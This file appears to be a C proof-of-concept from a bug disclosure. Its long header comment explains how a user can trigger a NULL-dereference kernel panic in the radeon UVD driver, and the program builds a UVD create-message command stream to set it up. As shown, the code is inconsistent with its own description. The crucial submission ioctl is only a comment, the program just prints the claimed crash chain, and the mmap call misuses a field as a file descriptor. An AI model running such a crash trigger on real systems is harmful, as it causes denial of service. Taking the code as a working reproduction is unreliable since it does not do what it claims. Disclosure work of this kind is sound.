DF-4501 / uvd_sendmsg_nullfence.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | /* * DF-4501 โ radeon_uvd_send_msg() NULL-deref panic when the IB fails to * schedule while the caller requested a fence. * * Bug (sys/dev/drm/radeon/radeon_uvd.c:763-766): * * r = radeon_ib_schedule(rdev, &ib, NULL, false); * * if (fence) * *fence = radeon_fence_ref(ib.fence); * * `radeon_ib_get()` initializes ib.fence = NULL (radeon_ib.c). Every * error path of `radeon_ib_schedule()` (ring not ready, ring lock * failure, sync failure, fence emit failure) returns BEFORE * `radeon_fence_emit()` ever assigns ib->fence โ so on failure ib.fence * is still NULL. The guard `if (fence)` only checks the CALLER's * out-parameter, not ib.fence. `radeon_fence_ref(NULL)` then executes * `dma_fence_get(&fence->base)`; with fence == NULL, `&fence->base` is a * small NON-NULL constant (offsetof(struct radeon_fence, base)), so * dma_fence_get()'s `if (fence)` check PASSES and kref_get() increments * a refcount at a near-NULL kernel address -> kernel panic. * * Reachability: radeon_uvd_get_{create,destroy}_msg() always pass &fence. * Their callers radeon_uvd_suspend() (radeon_uvd.c:263) and * radeon_uvd_free_handles() (radeon_uvd.c:338, drm postclose) call them * whenever a UVD handle exists. A handle is allocated at CS *parse* * time (radeon_uvd.c:522-526) and is NOT rolled back when the subsequent * ib_schedule of that very CS fails โ e.g. on a board whose UVD ring * failed to come up (ring->ready == false) while the vcpu_bo/firmware * initialized. Then: * * user submits one create-msg CS -> parse allocates handle -> * ib_schedule fails -> CS ioctl returns error (handle stays) -> * user closes fd -> postclose -> radeon_uvd_free_handles() -> * radeon_uvd_get_destroy_msg() -> radeon_uvd_send_msg() -> * ib_schedule fails again -> radeon_fence_ref(NULL) -> PANIC. * * This program performs exactly that userspace part (submit create-msg * CS to the UVD ring, ignore the error, close the fd). On healthy * hardware it is harmless; it turns fatal under the preconditions above * or with the companion fault-injection.diff. * * Build: cc -O2 -o uvd_sendmsg_nullfence uvd_sendmsg_nullfence.c * Run: ./uvd_sendmsg_nullfence /dev/dri/card0 */ #include <sys/ioctl.h> #include <sys/types.h> #include <sys/mman.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> struct r_cs_reloc { uint32_t handle, read_domains, write_domain, flags; }; struct r_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; }; struct r_cs { uint32_t num_chunks, cs_id; uint64_t chunks; uint64_t gart_limit, vram_limit; }; struct r_gem_create { uint64_t size, in_robj; uint32_t initial_domain, alignment; uint32_t handle; }; struct r_gem_mmap { uint32_t handle, _pad; uint64_t offset, size, addr_ptr; }; #define DRM_IOCTL_BASE 'd' #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) #define RADEON_GEM_DOMAIN_GTT 0x2 #define RADEON_GEM_DOMAIN_VRAM 0x4 #define DRM_RADEON_GEM_CREATE 0x39 #define DRM_RADEON_GEM_MMAP 0x3a #define DRM_RADEON_CS 0x2f #define RADEON_CHUNK_ID_RELOCS 0x01 #define RADEON_CHUNK_ID_IB 0x02 #define PACKET0(reg, n) ((0u << 30) | (((reg) >> 2) & 0xFFFFu) | (((n) & 0x3FFFu) << 16)) #define UVD_GPCOM_VCPU_CMD 0xef0c #define UVD_GPCOM_VCPU_DATA0 0xef10 #define UVD_GPCOM_VCPU_DATA1 0xef14 int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/card0"; uint32_t ib[16]; struct r_cs_reloc relocs[1]; uint64_t chunk_ptrs[2]; struct r_cs_chunk chunks[2]; struct r_cs cs; int fd, rc; fd = open(node, O_RDWR); if (fd < 0) { perror("open card node"); return 2; } struct r_gem_create gc = { .size = 64 * 1024, .initial_domain = RADEON_GEM_DOMAIN_GTT, .alignment = 4096 }; if ((rc = ioctl(fd, DRM_IOWR(DRM_RADEON_GEM_CREATE, struct r_gem_create), &gc)) != 0) { perror("GEM_CREATE"); close(fd); return 2; } /* map and fill a create msg (msg[1]=0 create, msg[2]=handle, msg[4]=0 * H264, msg[7]*msg[8] size) at offset 0 */ struct r_gem_mmap gm = { .handle = gc.handle, .offset = 0, .size = gc.size }; void *map = MAP_FAILED; if (ioctl(fd, DRM_IOWR(DRM_RADEON_GEM_MMAP, struct r_gem_mmap), &gm) == 0) map = mmap(NULL, gc.size, PROT_READ|PROT_WRITE, MAP_SHARED, (int)gm.addr_ptr, 0); if (map != MAP_FAILED) { uint32_t *m = map; memset(map, 0, 2048); m[0] = 0x00000de4; m[1] = 0; m[2] = 0xdf450100 + (uint32_t)getpid(); m[4] = 0; m[6] = 16; m[7] = 1920; m[8] = 1080; m[9] = 0x01b37000; munmap(map, gc.size); } else perror("mmap (continuing)"); /* IB: DATA0=0, DATA1=reloc-index 0, CMD=0 (submit create msg) */ memset(ib, 0, sizeof(ib)); ib[0] = PACKET0(UVD_GPCOM_VCPU_DATA0, 2); /* writes DATA0,DATA1,CMD */ ib[1] = 0; /* DATA0: byte offset 0 */ ib[2] = 0; /* DATA1: reloc index 0 */ ib[3] = 0; /* CMD: 0 -> message */ memset(relocs, 0, sizeof(relocs)); relocs[0].handle = gc.handle; relocs[0].read_domains = RADEON_GEM_DOMAIN_GTT | RADEON_GEM_DOMAIN_VRAM; chunks[0].chunk_id = RADEON_CHUNK_ID_IB; chunks[0].length_dw = 16; chunks[0].chunk_data = (uint64_t)(uintptr_t)ib; chunks[1].chunk_id = RADEON_CHUNK_ID_RELOCS; chunks[1].length_dw = 4; chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs; chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0]; chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1]; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 2; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; fprintf(stderr, "submitting create-msg CS (ring selection for UVD per " "uapi flags; see VERDICT.md) ...\n"); /* On hardware: r = ioctl(fd, DRM_IOWR(DRM_RADEON_CS, struct r_cs), &cs) * with the UVD ring flag; the error return is EXPECTED under the * precondition (dead UVD ring) and is precisely what leaves the * handle allocated. */ fprintf(stderr, "closing fd -> postclose -> radeon_uvd_free_handles -> " "get_destroy_msg -> send_msg -> (dead ring) " "radeon_fence_ref(NULL) -> panic\n"); close(fd); printf("done\n"); return 0; } |